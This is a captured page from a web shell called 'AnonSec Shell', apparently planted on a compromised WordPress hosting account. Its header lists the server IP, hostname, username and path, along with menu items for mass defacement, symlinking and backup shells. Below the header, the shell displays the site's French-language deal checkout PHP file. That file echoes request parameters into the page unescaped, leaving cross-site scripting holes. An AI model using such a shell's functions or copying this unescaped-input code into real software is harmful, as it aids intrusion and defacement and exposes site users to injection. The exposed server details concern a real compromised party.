. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : dealkatnwc ( 662330)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dealkatnwc/www/wp-custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/dealkatnwc/www/wp-custom/jachete.php
<style>header.entry-header{display: none;}</style>
<style>.asteriskField{color: red;} .input-group{margin: 5px;} .input-group-addon{width: 40%;text-align: left;} </style>

<?php
if (!( isset($_GET['deal_id']) )) {echo "<script>document.location.href='".get_bloginfo('url')."/404.php/?erreur=1';</script>";}
if (!( is_user_logged_in() ))  {echo "<script>document.location.href='".get_bloginfo('url')."/404.php/?erreur=2';</script>";}
if (get_post_type( $_GET['deal_id'] ) != 'deal')  {echo "<script>document.location.href='".get_bloginfo('url')."/404.php/?erreur=3';</script>";}
if (get_post_meta( $_GET['deal_id'], 'wpcf-date-d-expiration', true ) < time())  {echo "<script>document.location.href='".get_bloginfo('url')."/404.php/?erreur=4';</script>";}

global $current_user;
get_currentuserinfo();

$titre = get_the_title($_GET['deal_id']);
$prix_promo = get_post_meta( $_GET['deal_id'], 'wpcf-prix-promo', true );
?>
<h1>Votre commande</h1>

<table class="table table-bordered">
    <thead>
        <tr>
            <th width="25%">Produit</th>
            <th width="50%">Offre</th>
            <th width="10%">Quantité</th>
            <th width="15%">Prix</th>
        </tr>
    </thead>
	
    <tbody>
        <tr>
            <td>
			   <div class="img-hover" scope="row">
				<?php echo '<img src="'.wp_get_attachment_url( get_post_thumbnail_id($_GET['deal_id']) ).'" class="img-responsive" alt="">';?>	                  		
			    </div>
			</td>
            <td><a href="<?php  echo get_page_link($_GET['deal_id']);?>" target="_blanc"><?php echo $titre;?></a></td>
			<td>
			<input type="number" class="form-control" name="q" id="q" pattern="^[0-9-]{1,70}$"  value="1" min="1" 
			onclick="document.getElementById('price').innerHTML = document.getElementById('q').value * <?php echo $prix_promo;?>;
			         document.getElementById('quantite').value = document.getElementById('q').value;"
			required>
			</td>
            <td><?php echo $prix_promo;?><sup>DT</sup></td>
            
        </tr>
    </tbody>

	<tbody>
		<tr class="text-center">
			<th scope="row" colspan="3" class="text-center">Total</th>
			<td ><b><span id='price'><?php echo $prix_promo;?></span></b><sup>DT</sup></td>
		</tr>
	</tbody>	
</table>	

<form method="post"  name="act_paiement">
<input type='hidden' name='prix' value='<?php echo $prix_promo;?>' >
<input type='hidden' name='deal_id' value='<?php echo $_GET['deal_id'];?>'>
<input type='hidden' name='deal_titre' value='<?php echo $titre;?>'>
<input type='hidden' name='quantite' id='quantite' value='1'>
<div class="panel panel-default">
  <div class="panel-heading text-center"><b>Vos Information</b></div>
  <div class="panel-body">
		 <div class="row">
		   <div class="col-md-6 col-sm-6 col-xs-12">
			

			 
			 <div class="input-group">
			  <span class="input-group-addon">Nom <span class="asteriskField">*</span></span>
			  <input type="text" class="form-control" id="dealer_nom" name="dealer_nom" placeholder="" aria-label="Nom" value='<?php echo $current_user->user_lastname;?>' pattern='^[a-zA-Zéèàîìôòùû ]{3,20}$' title='Le nom doit être composer des lettres  de taille varie entre 4 et 20 carractére' required>
			  <label class="control-label requiredField" for="dealer_nom"></label>
			</div>
			  
			 <div class="input-group">
			  <span class="input-group-addon">Prénom <span class="asteriskField">*</span></span>
			  <input type="text" class="form-control" id="dealer_prenom" name="dealer_prenom" placeholder="" aria-label="Prénom" value='<?php echo $current_user->user_firstname;?>' pattern='^[a-zA-Zéèàîìôòùû ]{3,20}$' title='Le prénom doit être composer des lettres  de taille varie entre 4 et 20 carractére' required>
			  <label class="control-label requiredField" for="dealer_prenom"></label>
			</div>
			
			 <div class="input-group">
			  <span class="input-group-addon">Téléphone <span class="asteriskField">*</span></span>
			  <input type="text" class="form-control" id="dealer_tel" name="dealer_tel" placeholder="" aria-label="Téléphone" value='<?php echo $current_user->phone_number;?>' pattern='^[0-9]{8,13}' title='Le téléphone doit être composer des chiffres de taille varie entre 8 et 13 carractéres.' required>
			  <label class="control-label requiredField" for="dealer_tel"></label>
			</div>
			
			<div class="input-group">
			  <span class="input-group-addon">Email <span class="asteriskField">*</span></span>
			  <input type="email" class="form-control" id="dealer_email" name="dealer_email" placeholder="" aria-label="Email" value='<?php echo $current_user->user_email;?>' readonly required>
			  <label class="control-label requiredField" for="dealer_email"></label>
			</div>
	 
			</div>
	        <div class="col-md-6 col-sm-6 col-xs-12">
			 <div class="input-group" id="div_mod_paiement">
			  <label class="control-label requiredField" for="mod_paiement">
			   Mode de paiement <span class="asteriskField">*</span>
			  </label>
			  <div style="margin-left: 40px;">
			   <label class="radio">
				<input name="mod_paiement" type="radio" value="First Choice" onclick="act_paiement.action='<?php echo get_bloginfo('url'); ?>/enligne'; return true;" required/>
				<i class="fa fa-credit-card"></i>Paiement En ligne
			   </label>	

			   <label class="radio">
				<input name="mod_paiement" type="radio" value="First Choice" onclick="act_paiement.action='<?php echo get_bloginfo('url'); ?>/enligne'; return true;" disabled required/>
				<i class="fa fa-money"></i>Paiement Via <span style="color: #c99826;">Sobflous</span> <sup><span class="asteriskField">Bientôt</span></sup>
			   </label>
			   
			   <label class="radio">
				<input name="mod_paiement" type="radio" value="Second Choice" onclick="act_paiement.action='<?php echo get_bloginfo('url'); ?>/reservation'; return true;" required/>
				<i class="fa fa-database"></i>Paiement En Espèce<br><sup>(Réservez votre coupon dès maintenant.)</sup>
			   </label>

				<label class="radio">
				<input name="mod_paiement" type="radio" value="third Choice" onclick="act_paiement.action='<?php echo get_bloginfo('url'); ?>/paiement-a-livraison'; return true;" required/>
				<i class="fa fa-truck"></i>Paiement à la livraison<br><sup>(Payez à la livraison de votre <b>coupon</b>.)</sup>
			   </label>

			   <label class="radio">
				<input name="mod_paiement" type="radio" value="fourth Choice" onclick="act_paiement.action='<?php echo get_bloginfo('url'); ?>/paiement-mandat-minute'; return true;" required/>
				<i class="fa fa-clock-o"></i>Paiement Par Mandat Minute
			   </label>		   
			   
			  </div>
			 </div>
			 
			    <div class="form-group" id="div_checkbox">
				  <label class="control-label requiredField" for="checkbox">
				  </label>
				  <div class=" ">
				   <label class="checkbox-inline">
					<input name="checkbox" type="checkbox" value="First Choice" required/>
					J'accepte les conditions générales de vente
				   </label>
				  </div>
				 </div>
			 
			 

		   </div>
		  </div>
   
  </div>
  <div class="panel-footer">
  <div class="row">

		<div class="col-md-6 col-sm-6 col-xs-12 text-right  pull-right">
         	<button class="btn btn-primary hvr-sweep-to-right" name="submit" type="submit">
				<i class="fa fa-shopping-cart"></i> Commander
			</button>
		</div>
		
		<div class="col-md-6 col-sm-6 col-xs-12 text-left">
		<a href="<?php  echo get_page_link($_GET['deal_id']);?>"><i class="fa fa-long-arrow-left"></i> Retour</a>
		</div>

  </div>
  </div>
  </div>	
</form>

Anon7 - 2022
AnonSec Team